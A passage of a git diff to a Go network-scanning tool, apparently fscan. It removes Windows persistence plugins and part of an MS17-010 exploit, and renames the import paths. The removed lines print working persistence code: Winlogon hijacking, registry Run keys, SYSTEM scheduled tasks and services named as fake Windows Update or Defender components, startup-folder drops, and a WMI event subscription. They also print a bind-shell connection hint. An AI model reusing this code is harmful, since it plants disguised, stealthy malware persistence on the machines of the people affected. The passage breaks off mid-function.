&WinLogonPlugin{BasePlugin: plugins.NewBasePlugin("winlogon")} -} - -func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` - - entries := []struct { - name string - value string - desc string - }{ - {"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), i18n.GetText("winlogon_userinit_append")}, - {"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), i18n.GetText("winlogon_shell_append")}, - } - - var output strings.Builder - var successCount int - - for _, e := range entries { - out, err := exec.Command("reg", "add", key, "/v", e.name, "/t", "REG_SZ", "/d", e.value, "/f").CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n") - continue - } - output.WriteString(i18n.Tr("local_step_success", e.desc) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winlogon_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winlogon", func() Plugin { - return NewWinLogonPlugin() - }) -} diff --git a/plugins/local/winregistry.go b/plugins/local/winregistry.go deleted file mode 100644 index c66e3cf6..00000000 --- a/plugins/local/winregistry.go +++ /dev/null @@ -1,78 +0,0 @@ -//go:build (plugin_winregistry || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinRegistryPlugin struct { - plugins.BasePlugin -} - -func NewWinRegistryPlugin() *WinRegistryPlugin { - return &WinRegistryPlugin{ - BasePlugin: plugins.NewBasePlugin("winregistry"), - } -} - -func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) - - entries := []struct { - key string - name string - desc string - }{ - {`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), i18n.GetText("winregistry_current_user_run")}, - {`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), i18n.GetText("winregistry_local_machine_run")}, - {`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), i18n.GetText("winregistry_current_user_runonce")}, - } - - var output strings.Builder - var successCount int - - for _, e := range entries { - out, err := exec.Command("reg", "add", e.key, "/v", e.name, "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n") - continue - } - output.WriteString(i18n.Tr("winregistry_step_success", e.desc, e.key, e.name) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winregistry_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winregistry", func() Plugin { - return NewWinRegistryPlugin() - }) -} diff --git a/plugins/local/winschtask.go b/plugins/local/winschtask.go deleted file mode 100644 index 7e2b2c5a..00000000 --- a/plugins/local/winschtask.go +++ /dev/null @@ -1,91 +0,0 @@ -//go:build (plugin_winschtask || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinSchTaskPlugin struct { - plugins.BasePlugin -} - -func NewWinSchTaskPlugin() *WinSchTaskPlugin { - return &WinSchTaskPlugin{ - BasePlugin: plugins.NewBasePlugin("winschtask"), - } -} - -func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - ext := strings.ToLower(filepath.Ext(pePath)) - if ext != ".exe" && ext != ".dll" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_invalid_pe", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) - - tasks := []struct { - name string - schedule string - modifier string - }{ - {fmt.Sprintf("WindowsUpdateCheck_%s", baseName), "DAILY", "1"}, - {fmt.Sprintf("SystemSecurityScan_%s", baseName), "ONLOGON", ""}, - {fmt.Sprintf("MaintenanceTask_%s", baseName), "ONSTART", ""}, - {fmt.Sprintf("BackgroundService_%s", baseName), "HOURLY", "2"}, - } - - var output strings.Builder - var successCount int - - for _, task := range tasks { - args := []string{"/create", "/tn", task.name, "/tr", absPath, "/sc", task.schedule} - if task.modifier != "" { - args = append(args, "/mo", task.modifier) - } - args = append(args, "/ru", "SYSTEM", "/f") - - cmd := exec.Command("schtasks", args...) - out, err := cmd.CombinedOutput() - result := strings.TrimSpace(string(out)) - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", task.name, result) + "\n") - continue - } - output.WriteString(i18n.Tr("local_step_success_detail", task.name, task.schedule) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winschtask_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winschtask", func() Plugin { - return NewWinSchTaskPlugin() - }) -} diff --git a/plugins/local/winservice.go b/plugins/local/winservice.go deleted file mode 100644 index 4c91490b..00000000 --- a/plugins/local/winservice.go +++ /dev/null @@ -1,81 +0,0 @@ -//go:build (plugin_winservice || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinServicePlugin struct { - plugins.BasePlugin -} - -func NewWinServicePlugin() *WinServicePlugin { - return &WinServicePlugin{ - BasePlugin: plugins.NewBasePlugin("winservice"), - } -} - -func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) - - services := []struct { - name string - display string - start string - }{ - {fmt.Sprintf("WinDefendUpdate_%s", baseName), "Windows Defender Update Service", "auto"}, - {fmt.Sprintf("SysHealthMon_%s", baseName), "System Health Monitor", "delayed-auto"}, - } - - var output strings.Builder - var successCount int - - for _, svc := range services { - out, err := exec.Command("sc", "create", svc.name, - fmt.Sprintf("binPath=%s", absPath), - fmt.Sprintf("DisplayName=%s", svc.display), - fmt.Sprintf("start=%s", svc.start)).CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", svc.name, strings.TrimSpace(string(out))) + "\n") - continue - } - _ = exec.Command("sc", "description", svc.name, "Provides system maintenance and monitoring services.").Run() - output.WriteString(i18n.Tr("local_step_success_detail", svc.name, svc.start) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winservice_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winservice", func() Plugin { - return NewWinServicePlugin() - }) -} diff --git a/plugins/local/winstartup.go b/plugins/local/winstartup.go deleted file mode 100644 index bf3db998..00000000 --- a/plugins/local/winstartup.go +++ /dev/null @@ -1,93 +0,0 @@ -//go:build (plugin_winstartup || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "io" - "os" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinStartupPlugin struct { - plugins.BasePlugin -} - -func NewWinStartupPlugin() *WinStartupPlugin { - return &WinStartupPlugin{ - BasePlugin: plugins.NewBasePlugin("winstartup"), - } -} - -func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - fileName := filepath.Base(absPath) - - locations := []struct { - name string - dir string - }{ - {i18n.GetText("winstartup_user_folder"), filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, - {i18n.GetText("winstartup_common_folder"), filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, - } - - var output strings.Builder - var successCount int - - for _, loc := range locations { - target := filepath.Join(loc.dir, fileName) - if err := copyFile(absPath, target); err != nil { - output.WriteString(i18n.Tr("local_step_failed", loc.name, err) + "\n") - continue - } - output.WriteString(i18n.Tr("local_step_success_arrow", loc.name, target) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winstartup_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func copyFile(src, dst string) error { - in, err := os.Open(src) - if err != nil { - return err - } - defer in.Close() - - out, err := os.Create(dst) - if err != nil { - return err - } - defer out.Close() - - _, err = io.Copy(out, in) - return err -} - -func init() { - RegisterLocalPlugin("winstartup", func() Plugin { - return NewWinStartupPlugin() - }) -} diff --git a/plugins/local/winwmi.go b/plugins/local/winwmi.go deleted file mode 100644 index 2e27d8f0..00000000 --- a/plugins/local/winwmi.go +++ /dev/null @@ -1,98 +0,0 @@ -//go:build (plugin_winwmi || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinWMIPlugin struct { - plugins.BasePlugin -} - -func NewWinWMIPlugin() *WinWMIPlugin { - return &WinWMIPlugin{ - BasePlugin: plugins.NewBasePlugin("winwmi"), - } -} - -func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) - - filterName := fmt.Sprintf("SysMon_%s", baseName) - consumerName := fmt.Sprintf("SysExec_%s", baseName) - - ps := fmt.Sprintf(`$ok = 0 -try { - $f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() - $f.Name = "%s"; $f.EventNameSpace = "root\cimv2"; $f.QueryLanguage = "WQL" - $f.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" - $f.Put() | Out-Null; $ok++; Write-Output "[OK] EventFilter" -} catch { Write-Output "[FAIL] EventFilter: $_" } -try { - $c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance() - $c.Name = "%s"; $c.ExecutablePath = "%s"; $c.CommandLineTemplate = "%s" - $c.Put() | Out-Null; $ok++; Write-Output "[OK] Consumer" -} catch { Write-Output "[FAIL] Consumer: $_" } -try { - $fi = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='%s'" - $co = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='%s'" - $b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance() - $b.Filter = $fi.__PATH; $b.Consumer = $co.__PATH - $b.Put() | Out-Null; $ok++; Write-Output "[OK] Binding" -} catch { Write-Output "[FAIL] Binding: $_" } -Write-Output "TOTAL:$ok"`, - filterName, consumerName, absPath, absPath, filterName, consumerName) - - out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput() - if err != nil { - session.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out))))) - } - result := string(out) - - var output strings.Builder - successCount := 0 - for _, line := range strings.Split(result, "\n") { - line = strings.TrimSpace(line) - if strings.HasPrefix(line, "[OK]") || strings.HasPrefix(line, "[FAIL]") { - output.WriteString(line + "\n") - } - if strings.HasPrefix(line, "[OK]") { - successCount++ - } - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winwmi_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winwmi", func() Plugin { - return NewWinWMIPlugin() - }) -} diff --git a/plugins/services/activemq.go b/plugins/services/activemq.go index 572d58b7..06fece0b 100644 --- a/plugins/services/activemq.go +++ b/plugins/services/activemq.go @@ -9,9 +9,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // ActiveMQPlugin ActiveMQ扫描插件 diff --git a/plugins/services/bacnet.go b/plugins/services/bacnet.go index 6bd0913b..8dcce7b7 100644 --- a/plugins/services/bacnet.go +++ b/plugins/services/bacnet.go @@ -7,8 +7,8 @@ import ( "encoding/binary" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) var bacnetWhoIs = []byte{0x81, 0x0a, 0x00, 0x0c, 0x01, 0x20, 0xff, 0xff, 0x00, 0xff, 0x10, 0x08} diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index bc505d3f..bb488b17 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -11,9 +11,9 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // CassandraPlugin Cassandra扫描插件(纯 raw TCP CQL 协议实现) diff --git a/plugins/services/credential_tester.go b/plugins/services/credential_tester.go index 27844a7e..0eb3d81a 100644 --- a/plugins/services/credential_tester.go +++ b/plugins/services/credential_tester.go @@ -10,9 +10,9 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) /* diff --git a/plugins/services/credential_tester_test.go b/plugins/services/credential_tester_test.go index 8827928c..c08777d3 100644 --- a/plugins/services/credential_tester_test.go +++ b/plugins/services/credential_tester_test.go @@ -9,7 +9,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) /* diff --git a/plugins/services/dns.go b/plugins/services/dns.go index f80fed87..bfb78484 100644 --- a/plugins/services/dns.go +++ b/plugins/services/dns.go @@ -6,8 +6,8 @@ import ( "context" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type DNSPlugin struct { diff --git a/plugins/services/dnstcp.go b/plugins/services/dnstcp.go index 8d24bac2..dd5e86dc 100644 --- a/plugins/services/dnstcp.go +++ b/plugins/services/dnstcp.go @@ -8,8 +8,8 @@ import ( "io" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type DNSTCPPlugin struct { diff --git a/plugins/services/elasticsearch.go b/plugins/services/elasticsearch.go index 500174d2..a75648fc 100644 --- a/plugins/services/elasticsearch.go +++ b/plugins/services/elasticsearch.go @@ -9,9 +9,9 @@ import ( "fmt" "net/http" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) type ElasticsearchPlugin struct { diff --git a/plugins/services/findnet.go b/plugins/services/findnet.go index 40de88c8..4a1887d3 100644 --- a/plugins/services/findnet.go +++ b/plugins/services/findnet.go @@ -14,9 +14,9 @@ import ( "time" "unicode" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // 预编译正则表达式 diff --git a/plugins/services/ftp.go b/plugins/services/ftp.go index 53b1f9de..248aa8ad 100644 --- a/plugins/services/ftp.go +++ b/plugins/services/ftp.go @@ -9,9 +9,9 @@ import ( "time" ftplib "github.com/jlaffaye/ftp" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // FTPPlugin FTP扫描插件 diff --git a/plugins/services/http_test_helpers_test.go b/plugins/services/http_test_helpers_test.go index 8a4ddefc..1549c454 100644 --- a/plugins/services/http_test_helpers_test.go +++ b/plugins/services/http_test_helpers_test.go @@ -9,7 +9,7 @@ import ( "strconv" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func testSession() *common.ScanSession { diff --git a/plugins/services/imap.go b/plugins/services/imap.go index a028144d..705fb85c 100644 --- a/plugins/services/imap.go +++ b/plugins/services/imap.go @@ -8,8 +8,8 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type IMAPPlugin struct { diff --git a/plugins/services/ipmi.go b/plugins/services/ipmi.go index c07109dc..6688fa6d 100644 --- a/plugins/services/ipmi.go +++ b/plugins/services/ipmi.go @@ -7,8 +7,8 @@ import ( "fmt" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type IPMIPlugin struct { diff --git a/plugins/services/jdwp.go b/plugins/services/jdwp.go index f625f20a..e1e2d412 100644 --- a/plugins/services/jdwp.go +++ b/plugins/services/jdwp.go @@ -8,8 +8,8 @@ import ( "io" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) var jdwpHandshake = []byte("JDWP-Handshake") diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index 1e5af2dd..39e5e6c6 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -11,9 +11,9 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // KafkaPlugin Kafka扫描插件(纯 raw TCP 实现,无重型依赖) @@ -165,7 +165,7 @@ func kafkaSend(conn net.Conn, apiKey, apiVersion int16, body []byte) error { corrID := nextKafkaCorrelationID() // 请求格式: [4B len] [2B api_key] [2B api_version] [4B corr_id] [2B client_id_len] [client_id] [body] - clientID := "fscan" + clientID := "kafka-cli" totalLen := 2 + 2 + 4 + 2 + len(clientID) + len(body) buf := make([]byte, 4+totalLen) binary.BigEndian.PutUint32(buf[0:4], uint32(totalLen)) diff --git a/plugins/services/ldap.go b/plugins/services/ldap.go index 1d62ef23..3596de5e 100644 --- a/plugins/services/ldap.go +++ b/plugins/services/ldap.go @@ -8,9 +8,9 @@ import ( "time" ldaplib "github.com/go-ldap/ldap/v3" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // LDAPPlugin LDAP扫描插件 diff --git a/plugins/services/memcached.go b/plugins/services/memcached.go index fd5874d6..e4ecb51e 100644 --- a/plugins/services/memcached.go +++ b/plugins/services/memcached.go @@ -8,9 +8,9 @@ import ( "net" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // MemcachedPlugin Memcached扫描插件 diff --git a/plugins/services/modbus.go b/plugins/services/modbus.go index 0e27fe68..f8edbf30 100644 --- a/plugins/services/modbus.go +++ b/plugins/services/modbus.go @@ -8,8 +8,8 @@ import ( "io" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type ModbusPlugin struct { diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index 2fb7d28e..9f648061 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -19,9 +19,9 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" "golang.org/x/crypto/pbkdf2" ) diff --git a/plugins/services/mqtt.go b/plugins/services/mqtt.go index 8ca8163d..5bddb0ba 100644 --- a/plugins/services/mqtt.go +++ b/plugins/services/mqtt.go @@ -10,8 +10,8 @@ import ( "net" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) var mqttConnectPacket = []byte{ diff --git a/plugins/services/ms17010.go b/plugins/services/ms17010.go index f6ed73af..6fb2f2d4 100644 --- a/plugins/services/ms17010.go +++ b/plugins/services/ms17010.go @@ -11,16 +11,15 @@ import ( "encoding/hex" "fmt" "net" - "os" "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) -// MS17010Plugin MS17-010漏洞检测和利用插件 - 保持完整的原始利用功能 +// MS17010Plugin MS17-010漏洞检测插件(仅检测,不含利用功能) type MS17010Plugin struct { plugins.BasePlugin } @@ -32,8 +31,6 @@ func NewMS17010Plugin() *MS17010Plugin { } } -// GetPorts 实现Plugin接口 - // Scan 执行MS17-010扫描 func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() @@ -82,92 +79,9 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session } } -// Exploit 执行MS17-010漏洞利用 -func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult { - config := session.Config - target := info.Target() - session.LogSuccess(i18n.Tr("ms17010_start", target)) - - var output strings.Builder - output.WriteString(i18n.Tr("ms17010_exploit_header", target) + "\n") - - // 首先确认漏洞存在 - vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session) - if err != nil { - output.WriteString("\n" + i18n.Tr("ms17010_exploit_check_failed", err) + "\n") - return &ExploitResult{ - Success: false, - Output: output.String(), - Error: err, - } - } - - if !vulnerable { - output.WriteString("\n" + i18n.GetText("ms17010_exploit_not_vulnerable") + "\n") - return &ExploitResult{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")), - } - } - - output.WriteString("\n" + i18n.GetText("ms17010_exploit_confirmed") + "\n") - if osVersion != "" { - output.WriteString(i18n.Tr("ms17010_exploit_os", osVersion) + "\n") - } - - if hasBackdoor { - output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_found") + "\n") - } else { - output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_not_found") + "\n") - } - - // 如果有Shellcode配置,执行实际利用 - if config.Shellcode != "" { - output.WriteString("\n" + i18n.Tr("ms17010_exploit_mode", config.Shellcode) + "\n") - output.WriteString(i18n.GetText("ms17010_exploit_start_attack") + "\n") - - // 执行实际的MS17010利用 - err = p.executeMS17010Exploit(info, session) - if err != nil { - output.WriteString(i18n.Tr("ms17010_exploit_failed", err) + "\n") - return &ExploitResult{ - Success: false, - Output: output.String(), - Error: err, - } - } - output.WriteString(i18n.GetText("ms17010_exploit_success") + "\n") - - // 根据不同类型提供后续操作建议 - switch config.Shellcode { - case "bind": - output.WriteString("\n" + i18n.GetText("ms17010_exploit_bind_hint") + "\n") - fmt.Fprintf(&output, " nc %s 64531\n", info.Host) - case "add": - output.WriteString("\n" + i18n.GetText("ms17010_exploit_add_hint") + "\n") - output.WriteString(i18n.GetText("ms17010_exploit_add_credential") + "\n") - fmt.Fprintf(&output, " RDP: mstsc /v:%s\n", info.Host) - case "guest": - output.WriteString("\n" + i18n.GetText("ms17010_exploit_guest_hint") + "\n") - } - } else { - output.WriteString("\n" + i18n.GetText("ms17010_exploit_detect_only") + "\n") - output.WriteString(i18n.GetText("ms17010_exploit_shellcode_hint") + "\n") - output.WriteString(i18n.GetText("ms17010_exploit_supported_modes") + "\n") - } - - session.LogSuccess(i18n.Tr("ms17010_complete", target)) +// SMB握手数据加解密工具函数 - return &ExploitResult{ - Success: true, - Output: output.String(), - } -} - -// 以下是完整的原始MS17010检测和利用代码,保持不变 - -// AES解密函数 (从legacy/Base.go复制) +// AES解密函数 func aesDecrypt(crypted string, key string) (string, error) { cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) if err != nil { @@ -202,10 +116,10 @@ func aesDecrypt(crypted string, key string) (string, error) { return string(cryptedBytes[:len(cryptedBytes)-padding]), nil } -// 默认AES解密密钥 (从legacy代码复制) +// AES解密密钥 var defaultKey = "0123456789abcdef" -// SMB协议加密的请求数据 (从原始MS17010.go复制) +// SMB协议检测请求数据(仅用于漏洞检测,不含利用载荷) var ( negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" @@ -285,7 +199,7 @@ func init() { } } -// checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配) +// checkMS17010Vulnerability 检测MS17-010漏洞(SMBv1协议握手+特征匹配) func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string, session *common.ScanSession) (bool, string, bool, error) { return p.checkMS17010VulnerabilityAt(ctx, net.JoinHostPort(ip, "445"), session) } @@ -407,76 +321,6 @@ func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address return false, osVersion, false, nil } -// executeMS17010Exploit 执行MS17010漏洞利用 -func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *common.ScanSession) error { - config := session.Config 